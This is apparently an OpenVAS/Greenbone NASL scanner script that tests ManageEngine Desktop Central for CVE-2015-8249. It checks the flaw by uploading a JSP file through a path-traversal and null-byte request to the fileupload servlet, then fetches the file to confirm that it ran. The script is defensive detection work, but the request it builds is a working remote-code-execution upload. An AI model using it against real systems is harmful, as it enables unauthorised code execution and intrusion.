ManageEngine Desktop Central < 9.0.142 FileUploadServlet connectionId Vulnerability

# Copyright (C) 2016 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

CPE = "cpe:/a:zohocorp:manageengine_desktop_central";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.140041");
  script_cve_id("CVE-2015-8249");
  script_version("2021-10-12T12:01:25+0000");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"last_modification", value:"2021-10-12 12:01:25 +0000 (Tue, 12 Oct 2021)");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2017-10-06 15:25:00 +0000 (Fri, 06 Oct 2017)");
  script_tag(name:"creation_date", value:"2016-11-01 16:26:16 +0100 (Tue, 01 Nov 2016)");
  script_name("ManageEngine Desktop Central < 9.0.142 FileUploadServlet connectionId Vulnerability");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2016 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_manage_engine_desktop_central_http_detect.nasl");
  script_mandatory_keys("manageengine/desktop_central/http/detected");
  script_require_ports("Services/www", 8020);

  script_tag(name:"impact", value:"Successful exploitation will allow an attacker to gain arbitrary
  code execution on the server.");

  script_tag(name:"affected", value:"ManageEngine Desktop Central prior to version 9.0.142.");

  script_tag(name:"solution", value:"Update to version 9.0.142 or later.");

  script_tag(name:"vuldetect", value:"Try to upload a jsp file.");

  script_tag(name:"summary", value:"ManageEngine Desktop Central 9 suffers from a vulnerability that
  allows a remote attacker to upload a malicious file, and execute it under the context of SYSTEM.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("misc_func.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

if( ! dir = get_app_location( cpe:CPE, port:port ) )
  exit( 0 );

if( dir == "/" )
  dir = "";

host = http_host_name( port:port );

vtstrings = get_vt_strings();
vt_string = vtstrings["default"];
str = vt_string + '_CVE-2015-8249_' + rand();

postdata = '<%= new String("' + str  + '") %>';

file = vt_string + '_CVE-2015-8249_test.jsp';

url = dir + '/fileupload?connectionId=AAAAAAA%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cjspf%5c' + file  + '%00&resourceId=B&action=rds_file_upload&computerName=' + vt_string + '%2ephp&customerId=47474747';

req = http_post_put_req( port:port, url:url, data:postdata,
                         add_headers:make_array( "Content-Type", "application/octet-stream" ) );
buf = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );
if( ! buf || buf !~ "^HTTP/1\.[01] 200" )
  exit( 99 );

url = dir + "/jspf/" + file;
req = http_get( item:url, port:port );
buf = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );

if( str >< buf ) {
  report = 'It was possible to upload the file `' + http_report_vuln_url( url:url, port:port, url_only:TRUE ) + '`. Please delete this file.\n\n';
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );